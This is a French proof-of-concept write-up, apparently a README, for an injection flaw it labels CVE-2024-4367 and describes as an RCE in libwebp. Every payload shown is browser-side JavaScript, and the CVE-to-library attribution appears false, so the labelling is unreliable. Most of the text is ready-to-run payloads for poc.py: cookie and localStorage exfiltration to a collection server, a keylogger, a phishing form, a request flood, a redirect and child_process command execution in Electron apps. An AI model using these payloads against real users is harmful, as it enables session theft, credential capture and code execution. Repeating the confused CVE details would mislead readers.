
PoC (Proof of Concept) de la CVE-2024-4367 - Vulnérabilité RCE dans libwebp. Démonstration complète incluant : création de payloads, scénarios d'attaque, analyse des risques et serveur Express.js de test.
Un autre exemple d'exploitation consiste à injecter un simple message d'alerte pour vérifier si l'attaque fonctionne.
python poc.py "alert('XSS exploit triggered');"
L'attaque XSS peut être utilisée pour voler les cookies de la victime et les envoyer à un serveur malveillant.
python poc.py "fetch('http://localhost:3000/cookie', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({cookie: document.cookie})});"
http://localhost:3000/cookie).L'attaquant peut voler des informations sensibles stockées dans le localStorage de la victime, comme des données d'authentification ou des informations de session.
python poc.py "fetch('http://localhost:3000/localstorage', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({localstorage: JSON.stringify(localStorage)})});"
localStorage et les envoie à un serveur malveillant via une requête fetch.L'attaquant peut rediriger la victime vers un site malveillant afin de récupérer des informations supplémentaires ou de charger un autre exploit.
python poc.py "window.location.href='http://localhost:3000';"
Un autre type d'attaque consiste à inonder un serveur avec des requêtes, ce qui peut mener à une dégradation des performances ou à une interruption du service.
python poc.py "for (let i = 0; i < 100; i++) { fetch('http://localhost:3000/api'); }"
L'attaquant peut intercepter les frappes clavier de la victime, ce qui lui permet de récupérer des informations sensibles comme des mots de passe ou des identifiants.
python poc.py """document.addEventListener('keydown', function(e) {
fetch('http://localhost:3000/keylogger?key=' + e.key);
});"""
Un attaquant peut utiliser XSS pour injecter un formulaire de phishing dans une page Web et ainsi voler des informations sensibles (ex. : mot de passe, nom d'utilisateur).
python poc.py """
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://localhost:3000/phishing';
var input = document.createElement('input');
input.type = 'text';
input.name = 'username';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
"""
Si l'utilisateur va cliquer sur un bouton de téléchargement, nous allons changer la cible du téléchargement.
const a = document.createElement('a');
a.href = "https://example.com/fichier.pdf";
a.download = "fichier.pdf";
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
python poc.py "require('child_process').exec('calc.exe')"
Les applications basées sur des frameworks comme Electron ou NW.js peuvent également être affectées par des attaques XSS, car elles permettent d'intégrer du contenu web dans des applications de bureau avec des accès locaux étendus.
Ces applications, en raison de leurs permissions, peuvent permettre à un attaquant d'accéder à des fichiers locaux, d'exécuter des processus externes, ou même de lancer d'autres applications sur la machine cible (par exemple, la calculatrice, un éditeur de texte, etc.). Cela augmente considérablement la surface d'attaque, car ces applications combinent le pouvoir du web avec des accès système plus larges.
Les attaques exploitant les CVE (Common Vulnerabilities and Exposures) peuvent permettre de réaliser divers types d'attaques XSS. En exploitant des vulnérabilités spécifiques dans les applications web ou de bureau, un attaquant peut injecter du code malveillant, voler des informations sensibles, manipuler des sessions utilisateur, ou exécuter des actions malveillantes sur le système cible